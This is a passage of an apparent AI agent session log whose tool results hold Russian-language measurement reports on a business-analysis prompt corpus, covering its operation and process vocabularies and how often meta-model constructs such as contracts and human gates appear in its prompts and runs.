\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442 | 3 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `legacy`-\u043f\u0440\u043e\u043c\u043f\u0442 | 3 |\\n| \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043d\u0438 \u0440\u0430\u0437\u0443 \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438 | **11 \u0438\u0437 24** |\\n\\n## 4. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u043a\u0440\u044b\u0442 \u043d\u0430\u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443\\n\\n\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u044e\u0442 **6**: `documentation`, `ingestion`,\\n`modeling`, `solution_design`, `understanding`, `validation`.\\n\\n\u0411\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 **7**: `governance`, `impact_analysis`, `quality`,\\n`release_readiness`, `research`, `reverse_requirements`, `risk_analysis`.\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0451\u043d\u043d\u044b\u0445 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u043d\u0435\u0442: \u0438\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0442.\\n\\n## 5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0412 \u043f\u043e\u043b\u0435 `process:` \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f **\u043e\u0434\u0438\u043d**\\n\u0438\u0437 \u043d\u0438\u0445 \u2014 `fr-generation`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 **65** \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u043e\u043b\u044f \u043b\u0435\u0436\u0430\u0442 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f: \u044d\u0442\u043e\\n\u043c\u0435\u0442\u043a\u0438 \u0437\u0430\u0434\u0430\u0447 (`task-930-amocrm-comment-and-tag-fields`), \u0430 \u043d\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e | 9 |\\n| \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0432\u0441\u0442\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 | 1 |\\n| \u041c\u0435\u0442\u043e\u043a `process:` \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f | 65 |\\n\\n## 6. \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 | **5 \u0438\u0437 67** |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d | 1 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 | 66 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 | 0 |\\n\\n## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- **\u0420\u0430\u0437\u0431\u043e\u0440 \u0438\u043c\u0435\u043d\u0438, \u0430 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f.** \u0420\u0435\u0436\u0438\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c \u0444\u0430\u0439\u043b\u0430.\\n  \u041f\u0440\u043e\u043c\u043f\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0435\u0436\u0438\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\u043d\u0443\u0442\u0440\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u0430 \u0432 \u0438\u043c\u0435\u043d\u0438 \u043d\u0435\u0442, \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c \u043d\u0435\\n  \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u2014 \u0442\u0430\u043a\u0438\u0445 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043d\u0435\u0442, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u043c\u0435\u043d\u0430\u0445.\\n- **\u0421\u043a\u0435\u043b\u0435\u0442 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438.** \u041f\u0440\u043e\u043c\u043f\u0442, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n  \u043c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u043b\u0438 \u0436\u0438\u0440\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u0431\u0443\u0434\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043a\u0430\u043a \u043c\u0430\u043b\u043e\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439.\\n  \u042d\u0442\u043e **\u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442** \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442 \u0435\u0433\u043e.\\n- **\u0421\u0441\u044b\u043b\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0444\u0430\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.** \u041f\u0440\u043e\u0433\u043e\u043d \u043c\u043e\u0433\\n  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442 \u0438 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0435\u0433\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u00a73 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438** \u0440\u0435\u0436\u0438\u043c\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.\\n- **\u041b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u043e\u043c\u0435\u043d\u043e\u0432 \u043d\u0435\u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0435.** 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442\\n  \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d. \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u2014\\n  \u00ab\u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f\u00bb \u2014 \u0438 \u043d\u0435\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0434\u043e\u043b\u0435\u0439 \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0430\u043c.\\n- **\u041e\u0434\u043d\u0430 \u0441\u043f\u0438\u0446\u0430.** \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u043d\u0430 `mango_ba_prompts`. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\\n  \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\",\n[2026-09-29T07:45:36.464Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:36.464Z] [INFO]       }\n[2026-09-29T07:45:36.464Z] [INFO]     ]\n[2026-09-29T07:45:36.464Z] [INFO]   },\n[2026-09-29T07:45:36.464Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"uuid\": \"68816f84-1d0f-4be7-bff2-a743c6bf6d93\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:36.459Z\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:36.464Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:36.464Z] [INFO] }\n[2026-09-29T07:45:36.544Z] [INFO] {\n[2026-09-29T07:45:36.544Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:36.544Z] [INFO]   \"message\": {\n[2026-09-29T07:45:36.544Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"id\": \"msg_011CfXMmSwWSnrofxzTzF4kJ\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:36.544Z] [INFO]     \"content\": [\n[2026-09-29T07:45:36.544Z] [INFO]       {\n[2026-09-29T07:45:36.544Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:36.544Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:36.544Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:36.544Z] [INFO]     ],\n[2026-09-29T07:45:36.544Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:36.544Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:36.544Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_creation_input_tokens\": 4204,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_read_input_tokens\": 58134,\n[2026-09-29T07:45:36.544Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:36.544Z] [INFO]         \"ephemeral_5m_input_tokens\": 4204,\n[2026-09-29T07:45:36.544Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:36.544Z] [INFO]       },\n[2026-09-29T07:45:36.544Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:36.544Z] [INFO]       \"service_tier\": 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{\n[2026-09-29T07:45:37.867Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:37.867Z] [INFO]     \"content\": [\n[2026-09-29T07:45:37.867Z] [INFO]       {\n[2026-09-29T07:45:37.867Z] [INFO]         \"tool_use_id\": \"toolu_01Jua3mnU63KzPrYvv7GpavD\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"content\": \"---\\n\\n# \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0432\u0443\u044e \u043d\u043e\u0440\u043c\u0443: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-09\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR\\n> [#564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564) \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n> \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u043c:\\n> \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439\\n> \u043d\u043e\u0440\u043c\u044b \u0438 \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u043d\u0435\u0433\u043e \u0437\u0430\u0432\u0438\u0441\u044f\u0442. \u042d\u0442\u043e\u0442 \u043e\u0442\u0447\u0451\u0442 \u2014\\n> \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u2014 \u0432\\n> [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md).\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9` \u2014 \u0442\u043e\u0442 \u0436\u0435, \u0447\u0442\u043e \u0443\\n[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-meta-model-563/measure-legacy-normative-influence.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-legacy-normative-influence.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`legacy-normative-influence.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/legacy-normative-influence.json),\\n\u043b\u043e\u0433 \u2014\\n[`measure-legacy-normative-influence.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-legacy-normative-influence.log).\\n\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, 